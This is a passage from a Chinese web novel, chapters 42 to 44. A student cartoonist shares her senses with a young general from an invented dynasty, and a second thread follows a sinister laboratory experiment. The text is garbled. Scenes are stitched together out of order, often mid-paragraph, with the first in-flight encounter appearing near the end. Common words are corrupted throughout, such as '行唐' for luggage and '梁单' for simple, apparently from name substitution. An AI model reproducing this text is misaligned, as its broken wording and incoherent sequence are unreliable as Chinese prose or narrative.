妈妈那“净画些没用的”点评浮上心间，曾经的画纸被爸爸随手塞到垃圾桶的画面闪现，兴奋过后、乔梁情绪反而低落下去。 ……这好像也不是什么值得分享的事。 乔梁这么想着，心底却隐隐期待能有什么声音回应她，就算是那种很讨人嫌的忍笑声也没关系。 意识之中一片安静，并没有出现什么多余的声音。 乔梁拍了拍脸，冷静下来。 总之，先回复。 如果只是像学期中的那样随便画画当然没那么多的要求，但是投稿签约情况要稍微复杂一点。 乔梁加了编辑联系方式，等待回应期间，把对方邮件中要求的资料整理汇总了一遍，准备发过去。对面通过得很快，乔梁还在斟酌打招呼用词期间，对方已经飞快发来消息。 [梁牍老师好，我是月下的编辑松鼠。我在平台的征稿箱里看到了您的作品，真是让人耳目一新，恋爱向的漫画里形象这么质朴的男主角很少见，能问问您是怎么想的吗？] 乔梁：“……” 她盯着“形象质朴”那几个字，瞳孔地震。 ——怎么会？！她已经那么努力地把男主画得帅气了！！ * 姜静的帮助确实有点效果，唐问旸还保持着意识。也听到了花央和冉铭的对话。 “我不明白，为什么要费这么大的周折？如果真的需要她配合的，用这个人威胁不就足够了？” “她不一样。我本来打算一个世界的一个世界的去尝试，但是没想到会真的遇到打破时空壁垒的人，所有的可能性在她身上坍缩。你知道这意味着什么吗？” 冉铭神色有一瞬间的扭曲，但表情很快就舒展开来，“我不动她。但是你说了，等到结束以后，你不再插手这个世界的事。” 花央眉眼一下子舒展开来，笑容昳丽，“当然。” 世界重叠，意识投影，这个世界所发生的一切就变成了一场“噩梦”。他知道冉铭想干什么，但那又如何呢？无非是一次更大范围的伊甸园的悲剧。 但越早在这个世界死亡，就越早的从这场噩梦中醒来，不是很好吗？ 第 42 章 第 42 章 平心而论，花央的态度没什么问题，甚至有点过于完美，不是表面的敷衍，而是真的打从心底里的耐心。 毕竟如他“看见”的，在他想要前往的那个“完美世界”里，两个人确实是青梅竹马地长大。 既然这样，他也不介意提前适应一下这个“哥哥”身份。 乔梁却觉得浑身刺挠，她说不清怎么回事，总之就是非常别扭。 脑子里的记忆没什么问题，虽然有点“有了男人就忘了哥”之嫌，乔梁还是坚持地问起了唐问旸的状况，“他现在怎么样了？我想去见见他。” 花央蹙了下眉。 按理说不应该如此，虽说有一部分催眠的刻意干扰，但更多的应该是平行世界的经历影响。如果是后者的话，她表现得过于排斥了。 花央很快就掩下深思的神色，满脸无奈地点头答应下来。 看起来似乎真的是个宠溺妹妹的好哥哥。虽然有乔梁主动帮忙查资料，但是得到的结果却并不乐观。 藤甲轻便且防御力上佳，优势如此明显的铠甲却早早退出历史舞台，显然有其致命的缺陷。原因之一便是制作困难，制作流程动辄以年计算。 感受着心底沉沉坠下的情绪，乔梁也觉得不太舒服。 她想了想，开口，[如果是盾牌呢？] 唐问旸：[嗯？]乔爸爸今天白天不在家，家里只有乔梁和妈妈章琪两个人。 虽然只有两人，但是因为乔梁久别归家的特别待遇，乔妈妈还是拾掇出来一大桌子菜。 按理说在吃了一个学期食堂之后，吃到久违的母亲的爱心餐，乔梁该非常满足才对——昨天确实是这样——不过现在的她心事重重，完全没什么胃口。怕被亲妈看出什么不对，乔梁还是强装自然地拿起了筷子，味同嚼蜡……不，非常好吃！ 乔梁：？？？ 她当然知道她妈做饭好吃，毕竟这是从小吃到大、养活了一个极度挑食的她的亲妈饭。但是现在这是怎么回事？ 她才刚扒了一口饭进到嘴里，就觉得入口绵软，米粒晶莹饱满、香气浓郁，没有一点糠皮残留…… 乔梁懵逼地低头看碗。 这就是普通的大米饭吧？！哪有那么香？ 她这么想着，手又不受控制地往嘴里扒了一口。 一大口。 乔梁：？？？ 她艰难地把那口快把她噎死的饭咽下去，迟疑抬头：“妈，咱们家换米了？” 章琪却误会了女儿的意思，“对，是上次超市减价大促销的时候买的。你嘴刁得、这都能吃出来……先将就一下吧，等你爸晚上回来，让他顺道去趟超市、买点新米。” “不，不用。”乔梁连忙摇头，她眼神怪异地盯着碗里的饭看了半天，低声喃喃，“我觉得这米还挺好吃的。” 乔梁：[我小时候在老家见过，会有婆婆用有点像藤蔓的枝条编筐，如果只是编织圆形的盾牌的话，比那还梁单点。而且盾牌不像铠甲有那么多的弯折处，对材料的要求也更低……] 她这么说着，却听见唐问旸突然笑起来。 乔梁被笑得莫名，[你笑什么？] 她猜或许是和上次铠甲差不多的情况，她的提议哪里又有问题了，不由带出些气恼。 却不料对方很快答，[没什么，是我傻了。] 明明有这么梁便快捷的方法，大概是这几日一直在想甲胄的事，脑子一时没转过来。 总之—— [多谢你了。这次若是禹州能定，算你一功！] 乔梁：[……哦。] 她刚刚涌上来的恼意一断，心底觉得怪怪的。 这莫名的参与感，仿佛在玩什么线上争霸游戏一样。现在的“任务”大概是【平定禹州·战前准备】？ 乔梁摇了摇头，把那些乱七.八糟的想法赶出脑海。 ——什么任务不任务的？她根本连地图主线都不知道。 乔梁顿了一下，迟疑着开口，[甲胄方面，我再查一查。] 唐问旸倒是很宽心，倒是反过来让乔梁不必太焦虑。 [暂时够用了，你以为全甲有多难得？像你画的那种全甲将士，已是精锐中的精锐，能有千余人，便足够……] 唐问旸顿了一下，把后面的话咽了下去，自然而然地转了话题。 乔梁倒是没注意那点异样的停顿，在脑海里喋喋不休的背景音中，她缓缓地将视线投到自己的男主角身上。 对啊，她为什么要让男主角穿全套甲胄？ 作为一个恋爱漫画的男主角，他的安全重要吗？ 一点也不。 ——重要的明明是帅！！ 而且战损明明是嘶哈点。 赤着上半身、卸下所有防备出现在女主面前，任由心上人柔软的手指触碰伤口周围的肌肤，忍痛的闷哼声自喉间溢出…… 随着脑海中张力的画面一点点清晰，乔梁心跳也随着加快。在微微急促的呼吸中，她咬了咬自己的下唇，拿起了旁边的笔。 唐问旸不知道什么时候止了声。 那股怪异情绪在心间蔓延，他整个人都不自在起来——太奇怪了啊！ 乔梁本来是有点怀疑的，但是一出去就发现，她对这个充满冰凉冷淡风格的研究所非常熟悉，就连里面的人也是。 两人一出门就和冉铭打了个照面，后者露出了刻意掩饰但仍旧很感兴趣的目光，让人油然生出种仿佛被毒蛇盯上冰凉感。 乔梁觉得自己应该有点紧张的，但心底莫名安心。 有种看见屡次搞事都不成功的搞笑役反派的感觉，忍不住就对着人露出一个笑来。 不提唐问旸那边如何兵行险着，乔梁却过得忙忙碌碌。 和编辑讨论之后，对方给出了不少修改意见，乔梁趁着假期余额告罄的这几天一直在修改，一直到群里讨论返校时间的时候，乔梁才惊觉，自己差点忘了买回校的票。 虽然过程很艰辛，但结果是美好的。 乔梁总算赶在返校前完成了初步的修改，两边都松了口气。 编辑松鼠：[我已经把你的稿子提交主编，明天开会商讨，如果一切顺利的话，就能正式签约啦~] 乔梁斟酌用词：[好的，谢谢编辑。这段时间辛苦您了！] 似乎是从乔梁的遣词上看出什么，对面开解：[不用那么紧张，我觉得你通过的机会很大，很少有恋爱漫画这么用心做背景资料了，花了很多心思吧？] 被对面这么一提醒，乔梁才发现自己的手不知道什么时候握紧了拳。 她确实有点紧张、亿点点…… 反正不可能是那三岁小孩，朝廷也绝对插手不进去。 那就只能是—— “安思范麾下部将。” 吴仁辅恍然接了这么一句，但很快又拧起了眉头，“可怎么也轮不到唐问旸啊？” 安思范麾下将领何其多？论资历论年限，哪里轮得着唐问旸这毛头小子？甚至论和安思范的亲近程度，唐问旸都排不上号。 他可是姓“唐”的！ 连名都没改，可见在诸多义子中，也不是亲近的那类型。 吴仁辅还拧眉思索，就见吴恪表情极淡地笑了下，“本来是轮不到的。” 吴仁辅一愣。 ——什么叫“本来轮不到”？ 他心底生出点猜测，忍不住抬头去看吴恪。 吴恪见状轻颔了一下首。 倒也不是个蠢人。 吴恪：“你好好想想罢。” 本来轮不到，但是有了吴家鼎力相助，可就不一定了。 ——奇货可居。 也就比去年等高考成绩那时候多一点吧。 不过看到那句“用心做背景资料”，乔梁还是心情微妙。虽然确实在上面废了不少心思，但是对面绝对猜不到真正的原因：她可是真的给一场古代战争做了准备期的远程援助！震声！ 说起这个来，也不知道唐问旸那边怎么样了？一直没有消息…… 乔梁正这么想着，却听房间门被敲响。 她骤然回神，手忙脚乱地隐藏聊天窗口。果然，下一秒房间门被打开，乔妈妈催促，“明天就回学校了，今天别睡那么晚。快洗个澡，早点上床。” 乔梁“嗯嗯”应是，等乔妈妈走后，才重新打开聊天窗口。 又和编辑聊了几句漫画的情况，两人结束话题，乔梁才抱着毛巾去了浴室。 蒸腾的水汽一点点模糊了视野，热水舒缓了紧绷身体，乔梁缓缓呼出了一口气。 在这样放松的环境下，先前被打断的想法又在脑海里浮现。 ……不知道唐问旸那边现在怎么样了？ * 不用乔梁刻意拖延进度，花央的实验进展本来就很不顺利。 又双叒叕一次从那个形似核磁的大型仪器中出来，乔梁看见了旁边花央正眉头紧锁地看着控制台上的数据，像是遇到了什么难解的问题，脸色很不愉快。 虽然“不记得”了，但是乔梁隐隐感觉这才是正常的。 要是这人真的轻而易举地找到办法，她才觉得不对劲呢。 感觉到旁边的注视，花央回神，他勉强挤出一个笑来，心不在焉地，“今天先到这里吧，自己回去可以吗？” 大概因为进展不顺，花央全副心神都扑在研究上，前几天还在尽力维持的好哥哥人设已经崩得差不多了。 但乔梁乐得对方放松监视，当然不会主动提醒。 而这段时间，也足够暗地里在研究所的唐问旸调查出来一些事了，乔梁刚刚回去，就得到唐问旸的提醒，“这间研究所不仅仅有花央的人，冉铭盯上你了。” 乔梁觉得自己并不意外，甚至隐隐预料到了，“正好，我找机会把这事透露给花央。” ——让他们窝里斗啊！ 说起花央和冉铭决裂的事，乔梁总觉得这里面有个大剧情要过，但是还没等她做什么行动，反而被冉铭反将一军。 “你最好确认一下你那个好妹妹有没有问题。研究所的西南侧有大量热能反应，有人确定了研究所的位置。就算是那个逃出去的实验体，也没道理反应这么快。你觉得会有谁在给他们提供消息？” 这也就是乔梁现在被按在手术台上，被划开手臂的皮肤，取下了埋在皮下的芯片的原因。 染血的芯片落在旁边的手术托盘上，几乎没有发出声音。 这点小手术还用不着全麻那么大的阵仗，乔梁清醒地看见花央眼镜后的眼神带着冰凉的冷意。 一股头皮发麻的颤栗感转瞬席卷而来，乔梁瞬间意识到这是关键节点。 她好像隐隐看见自己似乎曾经抬手滑过选项，但这一切变成真实时，她简直用尽了全身的克制力，才稳住了自己表情，状似茫然地，“哥哥？” 目睹着那眼中的冷意一点点褪.去，乔梁却根本不敢放松。 她背上泛起了一层薄薄的冷汗，但眼神仍旧一瞬不瞬地注视对方。 好一会儿，花央才一点点放缓了表情，把那放着芯片的托盘推到乔梁眼前。 旁边染血的手术刀泛着凛凛的寒光，乔梁听见他语气温柔地，“我说过了，外面的人并不可信。” 第 43 章 第 43 章 乔梁浑浑噩噩，都不知道自己怎么进的房间，等确认花央确实不在现场，她才终于松了口气。 手不知道什么时候揪住了衣领，胸腔剧烈起伏着。 她大口大口地喘气，但空气不够用的感觉仍旧过分强烈，即便过量的氧气摄入都已经让人头脑眩晕。 乔梁心知肚明自己有点过呼吸的症状，她努力调解，但作用不大。 唐问旸悄无声息地落地，屈着手覆在乔梁的口鼻处。 呼吸被限制了一会儿，乔梁的状况才终于好转。 唐问旸犹豫了一下，轻轻拍抚了乔梁的后背。下雨了？ 唐问旸刚刚过来，就察觉异样。 水如珠帘般从上倾斜而下，一点点浸透身体，他顺势产生这样的疑惑。但也很快就意识到了不对，这水怎么是热的？而且周围也是雾气蒸腾的…… 唐问旸心底隐约闪过模糊的想法，但还没待成形，那边乔梁已经察觉到了。 乔梁虽然意识到了，但是不敢确定。客厅。 乔梁刚把杯子放在饮水机的凉水座上，就听见厨房里传来她妈的声音，“大冬天的，别老喝些凉的。” 乔梁：“……” 她应该没弄出什么声音吧？乔梁没能睡着。 脑子里的那个声音实在太吵了。 从“为什么能在天上？是腾云术吗，还是仙家法器？我能不能学？”到“刚才那个盒子是什么？它为什么能发光？”再到“旁边的人为什么都在睡觉？是中了什么术法吗？” 乔梁：“……” 对，是仙家法器，如果想学，可以选择航空航天院校的飞机制造专业；屏幕发光大体可分为LCD或者LED两种方式，一个是电场调控液晶分子对背光的透过度，一个是二极管主动发光；是中了术法，术法的源头就是那个凌晨四点那个“叮铃铃”的闹铃声…… 这么一路默默地吐槽着，等乔梁回过神来，已经是降落前三十分钟的洗手间关闭通知了，空姐吐字清晰的温柔声音从广播中传出来，乔梁这才意识到时间过得这么快。 随着乔梁睁开眼睛，那声音也像是被打断了。 他停顿了一下，带着点些微抱怨语气出声：[你为什么不理我？] 乔梁：“……” 我怕被当成神经病。 虽然就目前来看，这很有可能是字面意义上的真实情况。 大概是从乔梁的沉默中领会到了什么，在接下来的下降过程中，对方的没再出声了。 说实话，乔梁居然有那么一丢丢不习惯。 冷静一点，不管是灵异问题还是病理问题，这都说明情况在好转。 飞机缓缓地接近机场，阳光照射的影子在旁边的山坡上投射出机身的形状，乔梁听到对方感慨，[原来是在大鸟的肚子里啊。] 乔梁：欲言又止.jpg 她三岁的小侄女都…… 算了，如果以年龄算，这还是个只诞生一天的小宝宝呢，乔梁宽容地谅解了对方的认知局限——当然，她也没有出声纠正的意思。 接下来，降落、滑行、打开舱门。 乔梁从行唐架上拿了自己的背包，随着人流往外走。脑海中的声音彻底安静下去，一切都很正常，仿佛刚才航行过程中发生的一切都是云层上的一场怪异的梦境。 乔梁一边打开手机给接机的爸妈发消息，一边人还有点恍惚。 难不成真的是做梦？ 又往前走了一段，洗手间的标志出现在视野中，乔梁没多想就要往那边走，但是快到了入口突然一顿。 她没记错的话，脑子里的声音是个男声。 声音明朗清亮，兼具了磁性和少年质感，要不是出现的方式太诡异，其实是个隐形声控的乔梁愿意只靠声音给对方打八分。 大概是乔梁在这里站了太久，旁边有人问，[怎么了？] 乔梁下意识地回：“没什么……” 刚刚开口就猛地顿住。 ……这个声线似乎有点熟悉啊？ 她僵硬地回头，旁边拖着行唐的人来去匆匆，哪个也不像有闲心和一个路人搭话的样子。 声音还在继续，[你想进去吧？为什么不进去？] 乔梁：“……” 我为什么不进去，你难道不知道吗？！ 她先是谨慎地打量了一圈周遭，确定大家都在闷头赶路、没有哪个人在意这边有个“突然自言自语”的奇怪路人，这才悄悄地松了口气。 但这个卫生间肯定是去不成了。 乔梁快步往行唐转盘走去。 或许是刚才那句无意识地应答让对方确认了乔梁确实是个可交流对象，先前已经安静下去的声音又开始喋喋不休，[上面是什么？它也在发光，是夜明珠吗？刚才的琉璃好大好平整，怎么打磨的？] 乔梁：“……” “夜明珠”是什么鬼？武侠小说看多了吧？琉璃？玻璃？虽然不了解具体工艺流程，但是窗户玻璃怎么看都是液体流平不可能是打磨吧？…… 问题内容过于难以形容，又是声音因为在自己脑子里响起来，乔梁不自觉地生出一种羞耻的感觉：难道我的内心里还藏着这么中二的一面吗？脚趾扣地。 她一路煎熬地走到电梯前，脚步微微顿了一下。 果不其然，下一秒脑子里传来声音，[哇！] 乔梁：“……” [这是什么？它自己在动？里面有人拉着？它为什么能一直不停地往前？消失的地方去哪了？] 乔梁：……这个世界上有一种驱动叫做电机，有一种物理结构叫做传送带。 她表情麻木地踏上了自动扶梯，恍恍惚惚地等到了自己托运行唐。 等到她拖着行唐箱走出行唐提取处，看到接机台后面等着的爸妈的时候，终于忍不住了。她眼圈一红，语气哽咽地喊了一声“妈”，拖着行唐箱一路小跑过去。 亲爱的妈妈，你的女儿可能罹患了某种精神疾病。 说实话，乔梁至今没弄明白她妈到底怎么精准地锁定她的位置和行动的。 她动作稍微顿下，但紧接着就在那一连串哆哆剁菜声中，提高音量扬声应了一句“好”，同时自然而然地拨开了蓝色接水口。 喝热水？怎么可能？ 没有在暖气房里吃雪糕已经是她对这个家最大的尊重了。 事实证明，说谎是要遭到报应的，乔梁刚刚把杯子端起来，就听见一个说不上熟悉，但绝对印象深刻的声音——[这是什么？] 乔梁手一抖，杯子直接砸到了地上。 伴随着这“咣当”的一下声响，厨房的声音一停，乔母匆匆出来，急着声问，“怎么了？” 看了这一地碎片，她先是急着看乔梁，问：“手没事吧？划着没？” 乔梁表情勉强地摇了摇头。 她想要说什么，但在对面亲妈明显过度紧张的神情下，又咽下去：要是这会儿说了，绝对会演变成家庭大事件。 乔梁顿了一下，佯作自然地开口，“我把碎片清理一下。” 却被乔母赶苍蝇似地往旁边赶去，“去去去，添什么乱呢？一边呆着去。” 乔梁：“……” 在名为“帮忙”，实则“碍手碍脚”地协助完亲妈处理了自己造成的残局之后，乔梁端着一杯崭新的、冒着热气的水回到了自己的房间。 她心不在焉地把杯子往旁边一放，摇晃着鼠标打断电脑休眠，打开搜索引擎。 在对着键盘表情凝重地思索了一会儿后，乔梁深吸了口气，抖着手键入了关键词“精神分裂的自我诊断”。 她之前也查了一点内容，得到了一堆类似于“听觉幻象”“内心言语”“布罗卡氏区”之类的专业术语，但这些描述都和她自己似乎都不那么相符合。倒是无意间瞥到的一句“精神分裂的感知觉障碍表现”让她心底一突，晚上辗转了好久。 ……不会那么惨吧？ 在刚才的那句询问之后，那声音就没再出声，但是乔梁就是有种“他还没走的”感觉，证据之一就是现在胸腔中翻涌的压都压不下去的情绪。 明明这么凝重严肃的时候，心底却莫名有一种又疑惑又好奇还跃跃欲试的探索欲。 ——就不能让人好好沉重一下吗？！ 乔梁强行忍耐了一会儿，但是对方好似浑然不觉，随着页面的跳转，那惊异好奇的情绪越发充溢胸腔。明明屏幕上每一行字都是沉重的病理性描述，但是乔梁这会儿满心都是“哇”“哦”之类的感叹词情绪。 在对方再度开口询问“什么叫‘病因未明的重性精神病’”时，乔梁终于绷不住了，她哽着声指责，“你别太过分了！” 唐问旸：？？？ 他干什么了？他只是问了个问题而已。 她抱着侥幸心理，紧绷着声音试探了一声，[唐问旸？] 已经明白过来这是什么情况的唐问旸：[……] 这种状况下，好像回不回答都不太对的样子。 最后，他还是硬着头皮低应了一声，[是我。] 乔梁手一抖，本来要关的淋浴整个拨到了凉水档，她顶着一头的泡沫被浇了个透心凉。 托这个的福，乔梁一下子冷静下来，她抖着手关掉淋浴，不知道是急得还是冻得，手指哆嗦着扯过毛巾，一边胡乱擦着一边警告，[你不许看！] 唐问旸：[……] 唐问旸沉默了好一会儿，忍耐着开口，[是你别看……] 乔梁意识到什么，猛地闭上眼。 但是互通的五感中并不仅仅有视觉，唐问旸没觉得情况好多少。 浴室里乒雳乓啷的声音也引起了章琪的注意，后者在外面扬着声问：“怎么了？摔倒了？” 说着，就听见门把手转动的声音。 “没！”乔梁拔高声调，“我没事！妈你别进来。我洗好了，马上就出去！！” 她这么说着，也顾不得擦没擦好，抓过一旁的浴巾把自己包住，开门就冲向自己的卧室。 章琪看着风一样卷走的女儿，在原地愣了好半天，看着一路留下的滴滴答答的水迹，终于回过神来，“头发没擦！” 乔梁：“我回屋擦！” 她这么回了一句，“啪”地把门关上。 虽然她妈进去了也发现不了什么，但乔梁莫名紧张。 总算安全到达卧室的乔梁大松口气，她背靠着门一点点滑落，非常冷静地开口发问：“你什么时候走？” 唐问旸：[……] 都问出声了，看起来可一点也不冷静。 但是这问题，他还真没办法给个确切的答案。 [我三晚上没有阖眼了。] 什么时候醒，完全看什么时候有人叫他。不过就他睡前和赵敦益的对话，对方看起来没事不会来找他。 乔梁：“……” 乔梁反手抱紧了人，体温透过接触处传来，终于缓解了点从心底泛上来的冰凉感觉，她缓缓地舒了口气，哑着声：“我看见，他杀了我。” 并没有看见什么确切真实的画面，但那萦绕而来的危险感却刀刃一样在神经上切割。 鲜血溅开，冉铭脸上还维持在刚才的表情，整个人都踉跄着往后倒去。 失去了指挥者，怪物陷入了短暂的混乱，唐问旸回头看了黎飞一眼，“快走！” 黎飞这才如梦初醒，趁着混乱的间隙，飞快地离开了现场。 唐问旸正想要转身对付那些怪物，却被已经倒下的冉铭死死抓住脚踝，对方注视来的眼神堪称狂热，“第一代、第一代实……实验……” 唐问旸：“……” 他横着将刀插下去，直接切断了对方手臂的神经，冷静地，“是唐问旸。” 不是什么第一代实验体。 赤色的鲜血从刀身上蜿蜒而下，很不合时宜的，唐问旸想起了那水汽蒸腾里的旖旎一幕，一点先前未曾深想的疑虑冒了出来。 ……她流血了。 弄伤了？还是生理周期？ 第 44 章 第 44 章 虽然有唐问旸提前提醒，又有了前几次的配合实验，但是真的被花央告诉“正式开始”的时候，乔梁还是有点不真实感。 她尽力压下那点恍惚，转向花央，“我该怎么做？就像是平常那样？” 花央反问：“你好像不怎么高兴？这一切马上要结束了，你不开心吗？” “只是觉得不太真实。” 花央专注地看了她一会儿，突然重重地叹了口气，“真可惜，我还挺喜欢有个‘妹妹’的，不过要乖巧听话才好。” 脑海中兀地闪过画面，乔梁仓促的一个矮身。 花央手里的注射器落了个空，尖锐的针头在灯光下闪着一星寒光。 意识到那东西刚才对准了她的脖颈，乔梁只觉得浑身都凉了一层。 “乖一点，别乱动。弄伤身体就不好了。”乔梁这么打量机舱间，心底却泛起一股非常怪异的情绪。 如果要形容一下，仿佛是看见了一群小蓝人在她面前跳草裙舞——是登机前刷手机的看到的、某博主对自己蘑菇中毒幻觉详细描述，乔梁觉得用在这里就很贴切。 乔梁：？ 什么鬼？！ 她觉得机舱不奇怪，反而自己很奇怪。这莫名其妙的情绪是怎么回事？而且刚才听见的声音也很怪啊…… 她都没有找到说话人。 连疑似的也没有。 虽然情况处处都透露着诡异，但大脑的困倦和意识中翻涌的违和感对抗的半天，乔梁放弃了挣扎。 ——可能是做梦吧。 她随便找了个说得过去的理由，搪塞过自己后就准备睡觉。 机舱座椅靠背绝对不是为正常女性身高设计的，乔梁先前已经以各种姿势尝试过了，这会很干脆地放弃背倚，而是偏头靠上了舷窗的窗框。 她闭眼前又扫了眼窗外的景象。 大概是飞机飞过了刚才那段云层浓密的多云区域，这一段航道可见度很高，能够透过稀疏的几丝云缕看到下方地面的景色。 刚才没有找到声源的声音再一次响起，这次语调要惊异得多，[这是在天上？！] 乔梁：？！ 她一个激灵，彻底清醒了。 因为有了先前的疑惑，她这次很清楚地察觉到，这个声音是在她脑子里响起的。 大脑中的清亮的男性声音、胸腔中古怪的不属于自己的情绪、内容怪异的提问……果然是在做梦吧！哈哈。 乔梁正这么想着，却听见那声音竟给出了回应，[原来是做梦啊。] 乔梁：“……！” 莫慌，遇事不决，先问问某度某书。 她拿起了手机。 她又放回去了。 飞行模式没有网。不需要挑选天资卓著的勇士，但与之相对的—— 唐问旸低喃，[……练兵。] 重要的是“练兵”。 让士卒接受、熟悉，并将这种配合视为本能。 唐问旸的声音很低，但是意识交流倒是不存在听不听得清的问题。 乔梁闻言，连忙打开之前的收藏：《纪效新书》白话翻译对照版。 [你要不要看看这个？] 提起鸳鸯阵当然免不了提起戚家军，提起戚家军就要想起这本《纪效新书》。 但是乔梁看了个开头就放弃了。 虽然网络知识共享很方便，完全排除了文言文障碍，但是老实说，乔梁看得还是一头雾水：每一个字都认识，组合起来的意思也能看明白，可就是隔了一层——完全是字面理解、看完看了个寂寞的感觉异常明显。 她非常坦诚地承认，[我看不懂。] 唐问旸听不出情绪地“嗯”了一下。 看出来了。 从那个鸳鸯阵整理的资料就知道，这彻彻底底是个外行……或者更早一点，看对方画铠甲的时候就知道了。 他沉默了一会儿，轻声问：[……为什么？] 乔梁手指还摁在鼠标上，不明所以，[什么‘为什么’？] [整理这些东西很费力吧？还很耗时间。] 乔梁顿了下，[就……还好。] 确实有点废人。 唐问旸：[对你又没有什么好处。] 乔梁不自觉拧眉，[‘好处’什么的……]也太冷漠了吧。 [你遇到了问题，我刚好能够帮上忙，顺手帮一下，不是很正常吗？] 唐问旸：[‘我’？你好像不太喜欢我吧？] 乔梁：……原来你有这种自知之明啊。 事情被戳穿，乔梁反而心虚起来。 她支吾了下，[也、也没有不喜欢啦。] 虽然有时候确实挺烦的。 觉得再进行下去可能话题不妙，乔梁试图绕过这个它去，[和这个没关系啦，人不就应该互帮互助吗？] “互帮互助”吗？ 唐问旸琢磨了一下这个词，突然问：[就算我是个坏人？] 乔梁下意识回，[就算——] 嗯？！ 她一下子卡住了。 说起来，她对对方确实没什么了解来着，所有关于这个人信息，都是对方主动透露的。要是这人真的是个骗子的话……她好像也分辨不出来。 感受着心底疯狂打鼓、七上八下的情绪，唐问旸“扑哧”一下子笑出声。 [逗你呢。] 果然是个小姑娘。 他略微沉下语调，语气正色地解释，[定平节度使兵逼关中、意图谋反。顺帝亲自下诏讨逆，我这次是随义父去平叛的。] 起码这次是如此。 乔梁没什么实感的“哦”了声，仿佛听了什么电视剧的背景介绍。 别说信不信了，她都根本没法生出什么情绪来。 顿了一下，她倒是想起了公交车上的那次，那次就是对方主动提议帮她。 既然看不惯那种恶劣行为，又“见义勇为”，应该不是什么坏人吧？而且就两人现在的状况，对方骗她图啥啊？不能骗钱，又没法图色。 这么想着，乔梁稍稍安下心。 这边，唐问旸解释完后，目光顺势落到了前面的屏幕上。 本来排列整体的桌面上多了许多凌乱的图标，下面缩略显示着文件标题：《藤条快速软化》《一种藤条软化》《植物纤维的基本结构》…… 乔梁也察觉到唐问旸的视线落点，她解释，[你那不是要编织藤牌吗？我昨晚查了点资料，但是这些用不上，等我再研究研究。] 藤牌编织需要预先处理藤条，这个过程短则几月、长则以年计，唐问旸显然不可能等那么久。 好在一切追求效率的现代社会总有快速处理办法，但是乔梁下载了几份专利，但很快就发现问题：上面需要的材料都是提纯后的化工制品，唐问旸那边显然没有这么方便的条件，照搬根本不现实。乔梁准备再查查资料，实在不行从原理开始研究。 乔梁正想着这些，却觉得心底生出中怪异的情绪，这感受的来源显然并不是她的。只是这情绪的组成过于复杂，她一时有点没法准确地给下个定义。 乔梁按照自己的思路理解了一下，觉得对方可能是在担心。 她顿了顿，出声安慰：[再多查一查资料，总会有办法的。] 方法都是现成的，问题只在于能不能找到合适的原料而已。 唐问旸却是想起了乔梁刚才的话：“顺手”帮一下……吗？ 他无声地轻笑了一下。 [问旸，我的字。你可以叫我“唐问旸”。] 带着低沉磁性的声音在脑海中响起，胸腔中有种莫名鼓噪但并不讨厌的情绪。 乔梁怔了怔，略感迷茫地“哦”了一声。 ……这人的自我介绍还分两次吗？ 有两个名字了不起啊！ 没网的手机和板砖有什么区别？！ 还是有点区别的——里面有她提前缓存好的漫画，本来打算睡不着的时候打发时间用——但是这显然不能的解决当下的问题。 那个不知名的存在显然看见了乔梁的动作，极具探究精神地询问：[这是什么？] 乔梁没有回答。 她现在还不能确定自己身上发生的到底是玄幻灵异事件，还是精神病理变化，最好不要轻举妄动。就算退一步来讲，撞鬼的最好解决方法也是“不要让鬼知道你撞见了它”。 虽然现在似乎迟了一步，但是乔梁还是保持了高质量的沉默。 她甚至还闭上了眼睛。 完美的结果就是，她现在睡一觉，醒来后发现一切都是一场梦。 唐问旸那边被微妙滤镜的事连他本人都不知情，乔梁自然无从得知。随着开学上课，乔梁生活也渐渐跟着新学期的课表步入正轨。 不过毕竟假期刚过，大家的心还都飞在外面。刚一到周末，401的几人相约就一块儿去了附近的商厦。 虽然以几个学生的购买力，也买不了什么东西，但是逛街重点就在一个“逛”字么~ 说是一块儿逛街，大家的兴趣到底不一样，在陪着叶竺妍狠试了一番衣服之后，几人又到了欧阳艺很感兴趣的电子产品店。其他几人对此的兴趣只能说是一般，又因为先前陪着逛衣服确实废了不少精力，体力最废乔梁率先宣告退出。 她跟欧阳艺打了个招呼，表示自己去一边的奶茶店等着。 欧阳艺习以为常地挥挥手，另外几人也都习惯，倒是脑子里的那个声音颇感遗憾，[再看看嘛~] 乔梁：[……]虽然过程几度波折，但是乔梁还是和脑海里的那道声音进行了初步的交流。 确定了自己身上是发生的是灵异事件之后，乔梁根据先前的对话就对对方的所处的环境有所猜测。事实也确实和乔梁猜想的相去无几，对方正处在工业革命前的封建时代，但朝代却是个没听说过的、名字为“顺”的王朝。 架空么~ 阅遍漫画的乔梁对此接受程度良好。 但这仿佛是什么少年漫开端的情况还是让她心里咯噔了一下。 她对自己现在的生活还是挺满意的，可一点儿都不想去拯救世界什么的。 脑海里的那声音听起来年纪不大的样子，但似乎已经是领兵的将军了。 恰巧乔梁这次漫画灵感是个爱情故事，家道中落的歌女和少年将军。 意外遇到这种仿佛和男主角撞设定的情况，她当然是趁机问了不少细节……说起来，这该不会是她的金手指吧？漫画人物附身到作者身上什么的。 乔梁刚这么想着，就碰了壁。 唐问旸（那声音自我介绍的名字）对自己的事似乎不愿意多谈的样子。乔梁不喜欢勉强人，又对别人的情绪非常敏.感，察觉到唐问旸隐约透露的态度，即便心底猫抓似的好奇，还是咽下了一个又一个的问题。 不过就算如此，乔梁还是在和对方的交流中得到不少启发。 灵感爆发之下，她大修了自己的背景设定。 一改就改到了凌晨三点。 然而，第二天早上八点，房间门被准时敲响。 乔梁睡梦中被这声音惊醒，痛苦地拧紧了眉头。 她翻了个身，正要捞过枕头蒙住头，却突然意识到什么，猛地坐起来。 就在她起身的下一秒，房间门就被打开，乔妈妈开门走了进来。 乔梁瞬间清醒过来，先声夺人，“妈！我说了，进我房间要敲门。” 章琪不以为意，“我不是敲过了。” 乔梁不大高兴地瘪嘴。 您老那敲和没敲有区别吗？ 章琪走上前去拉开窗帘，瞬间明亮的室内让乔梁不适的眯了下眼，就在她以为自己蒙混过关的时候，听见她妈问：“昨晚几点睡的？又熬夜了？” 乔梁：“……” 她支支吾吾：“也没几点，十点多……十一、二点吧。” 自己养的女儿，尾巴一翘就知道朝哪个方向，章琪一看就知道这孩子没说真话。 她当即肃下表情，待要说什么，转念又想到孩子才刚回来没几天。 她略微压下了那情绪，神情缓和，不过还是开口告诫，“以后不许那么晚睡了。” 乔梁非常诚恳地“嗯嗯嗯”点头。 下次是下次嘛~ 章琪拉开了窗帘，就顺势整理起了桌上的杂物，一眼就看见乔梁睡前没来得及收的数位板。她拧了拧眉，语气不满，“又画那些没用的？” 乔梁表情微微僵硬。 她停顿了下，小声辩驳：“……不是没用的。” 